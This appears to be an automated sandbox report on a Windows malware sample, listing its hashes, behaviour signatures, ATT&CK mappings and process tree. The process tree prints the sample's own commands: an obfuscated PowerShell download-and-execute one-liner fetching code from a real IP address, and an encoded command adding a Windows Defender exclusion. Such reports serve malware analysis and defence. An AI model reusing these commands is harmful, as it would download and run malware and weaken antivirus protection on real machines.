3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea

General

Target

3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe
Size

979KB
MD5

c13f1a8cf97ee2f8c3c782e7e8bb717f
SHA1

02c0218bca2ce9801860b1b0793d8631d09b9933
SHA256

3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea
SHA512

79073289d8e9b902cbbb895164b7c1e06f18a8367d339b3f3d681170306882de436bcdb9eb3b73c69d4869e40f98138ad8b0d89e1709d2158dfef028b92b4f08
SSDEEP

24576:gYrxUgRM5Ybc9bKvu6DPiCskNxZsTB3O6vJV9XKEYoSNd64X:g1Cgb+DPitklsTB3vJLXY5Nd6q

Score

10^/10

upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://31.41.244.231/AVAVA/WAW/APPDATA/go.oo

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://31.41.244.231/AVAVA/WAW/Documents/go.oo

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	744	powershell.exe
5	1008	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1484	Offer.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1380-69-0x0000000000400000-0x0000000000434000-memory.dmp	upx

Loads dropped DLL 2 IoCs

pid	Process
1380	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe
1380	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
744	powershell.exe
1008	powershell.exe
1136	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1008	powershell.exe
Token: SeDebugPrivilege	744	powershell.exe
Token: SeDebugPrivilege	1136	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1484	Offer.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1380 wrote to memory of 1204	1380	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe	27
PID 1380 wrote to memory of 1204	1380	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe	27
PID 1380 wrote to memory of 1204	1380	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe	27
PID 1380 wrote to memory of 1204	1380	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe	27
PID 1380 wrote to memory of 1484	1380	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe	29
PID 1380 wrote to memory of 1484	1380	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe	29
PID 1380 wrote to memory of 1484	1380	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe	29
PID 1380 wrote to memory of 1484	1380	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe	29
PID 1484 wrote to memory of 1136	1484	Offer.exe	30
PID 1484 wrote to memory of 1136	1484	Offer.exe	30
PID 1484 wrote to memory of 1136	1484	Offer.exe	30
PID 1484 wrote to memory of 1136	1484	Offer.exe	30
PID 1484 wrote to memory of 1008	1484	Offer.exe	32
PID 1484 wrote to memory of 1008	1484	Offer.exe	32
PID 1484 wrote to memory of 1008	1484	Offer.exe	32
PID 1484 wrote to memory of 1008	1484	Offer.exe	32
PID 1484 wrote to memory of 744	1484	Offer.exe	34
PID 1484 wrote to memory of 744	1484	Offer.exe	34
PID 1484 wrote to memory of 744	1484	Offer.exe	34
PID 1484 wrote to memory of 744	1484	Offer.exe	34

C:\Users\Admin\AppData\Local\Temp\3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe
"C:\Users\Admin\AppData\Local\Temp\3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Roaming\Offs\KillDuplicate.cmd" "C:\Users\Admin\AppData\Roaming\Offs" "3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe""
  2⤵
  PID:1204
- C:\Users\Admin\AppData\Roaming\Offs\Offer.exe
  "C:\Users\Admin\AppData\Roaming\Offs\Offer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAJwAgACAALQBGAG8AcgBjAGUAOwA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1136
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='{BINGO}(N{BINGO}{BINGO}e{BINGO}w-{BINGO}Ob{BINGO}{BINGO}je{BINGO}{BINGO}c{BINGO}t N{BINGO}{BINGO}e{BINGO}t.W{BINGO}e';$c4='b{BINGO}{BINGO}Cli{BINGO}{BINGO}en{BINGO}{BINGO}t{BINGO}).Do{BINGO}{BINGO}wn{BINGO}{BINGO}l{BINGO}o';$c3='a{BINGO}dS{BINGO}{BINGO}t{BINGO}ri{BINGO}{BINGO}n{BINGO}g{BINGO}(''h{BINGO}tt{BINGO}p:/{BINGO}/31.41.244.231/AVAVA/WAW/APPDATA/go.oo''){BINGO}';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('{BINGO}',''); IEX $TC |IEX
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1008
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='{BINGO}(N{BINGO}{BINGO}e{BINGO}w-{BINGO}Ob{BINGO}{BINGO}je{BINGO}{BINGO}c{BINGO}t N{BINGO}{BINGO}e{BINGO}t.W{BINGO}e';$c4='b{BINGO}{BINGO}Cli{BINGO}{BINGO}en{BINGO}{BINGO}t{BINGO}).Do{BINGO}{BINGO}wn{BINGO}{BINGO}l{BINGO}o';$c3='a{BINGO}dS{BINGO}{BINGO}t{BINGO}ri{BINGO}{BINGO}n{BINGO}g{BINGO}(''h{BINGO}tt{BINGO}p:/{BINGO}/31.41.244.231/AVAVA/WAW/Documents/go.oo''){BINGO}';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('{BINGO}',''); IEX $TC |IEX
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:744

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
720933ad62030370ffe961f92fa92c02

SHA1
84e3c1b5d5ca48d22f66092b57e14ab2d8b7efe8

SHA256
68d16a03277399c2edeebd2227ceb50b12fa33311a2e5348f28320706c219f0d

SHA512
24c1b859293e62d3b1b4e542e2d263b24f1da0832e9d52e3d2455c166c4400c8a6d5acf900e27aaa5dade43446f075012e82fd75d4e8ef7b073291907e38dff5

Download Submit
C:\Users\Admin\AppData\Roaming\Offs\Offer.exe

Filesize
7KB

MD5
fa4300da126da4a4ecf2c0d82dbe92f4

SHA1
3acbae61f796e7fad05ee9a875a9d3cbd6ec3996

SHA256
1ddbf6cb9e4c92e93118d8f2ca98922195cf683926777b2c160f5d05d52f3fd5

SHA512
d6922c07a9fc04d7c24ffdafd77651996224581b41f2d063a25d5fe1b786a89cf04b88447924f6fe11e9766b08ac97b1f50144a29c1d89d8198b68262c1ae6c9

Download Submit
\Users\Admin\AppData\Roaming\Offs\Offer.exe

Filesize
7KB

MD5
fa4300da126da4a4ecf2c0d82dbe92f4

SHA1
3acbae61f796e7fad05ee9a875a9d3cbd6ec3996

SHA256
1ddbf6cb9e4c92e93118d8f2ca98922195cf683926777b2c160f5d05d52f3fd5

SHA512
d6922c07a9fc04d7c24ffdafd77651996224581b41f2d063a25d5fe1b786a89cf04b88447924f6fe11e9766b08ac97b1f50144a29c1d89d8198b68262c1ae6c9

Download Submit
\Users\Admin\AppData\Roaming\Offs\Offer.exe

Filesize
7KB

MD5
fa4300da126da4a4ecf2c0d82dbe92f4

SHA1
3acbae61f796e7fad05ee9a875a9d3cbd6ec3996

SHA256
1ddbf6cb9e4c92e93118d8f2ca98922195cf683926777b2c160f5d05d52f3fd5

SHA512
d6922c07a9fc04d7c24ffdafd77651996224581b41f2d063a25d5fe1b786a89cf04b88447924f6fe11e9766b08ac97b1f50144a29c1d89d8198b68262c1ae6c9

Download Submit
memory/744-81-0x00000000729D0000-0x0000000072F7B000-memory.dmp

Filesize
5.7MB

Download
memory/744-78-0x00000000729D0000-0x0000000072F7B000-memory.dmp

Filesize
5.7MB

Download
memory/744-74-0x00000000729D0000-0x0000000072F7B000-memory.dmp

Filesize
5.7MB

Download
memory/1008-75-0x00000000729D0000-0x0000000072F7B000-memory.dmp

Filesize
5.7MB

Download
memory/1008-79-0x00000000729D0000-0x0000000072F7B000-memory.dmp

Filesize
5.7MB

Download
memory/1008-80-0x00000000729D0000-0x0000000072F7B000-memory.dmp

Filesize
5.7MB

Download
memory/1136-76-0x00000000729D0000-0x0000000072F7B000-memory.dmp

Filesize
5.7MB

Download
memory/1136-77-0x00000000729D0000-0x0000000072F7B000-memory.dmp

Filesize
5.7MB

Download
memory/1380-70-0x00000000003A0000-0x00000000003A7000-memory.dmp

Filesize
28KB

Download
memory/1380-71-0x00000000003A0000-0x00000000003A7000-memory.dmp

Filesize
28KB

Download
memory/1380-69-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/1380-54-0x00000000757A1000-0x00000000757A3000-memory.dmp

Filesize
8KB

Download
memory/1380-82-0x00000000003A0000-0x00000000003A7000-memory.dmp

Filesize
28KB

Download
memory/1484-72-0x0000000000400000-0x0000000000407000-memory.dmp

Filesize
28KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads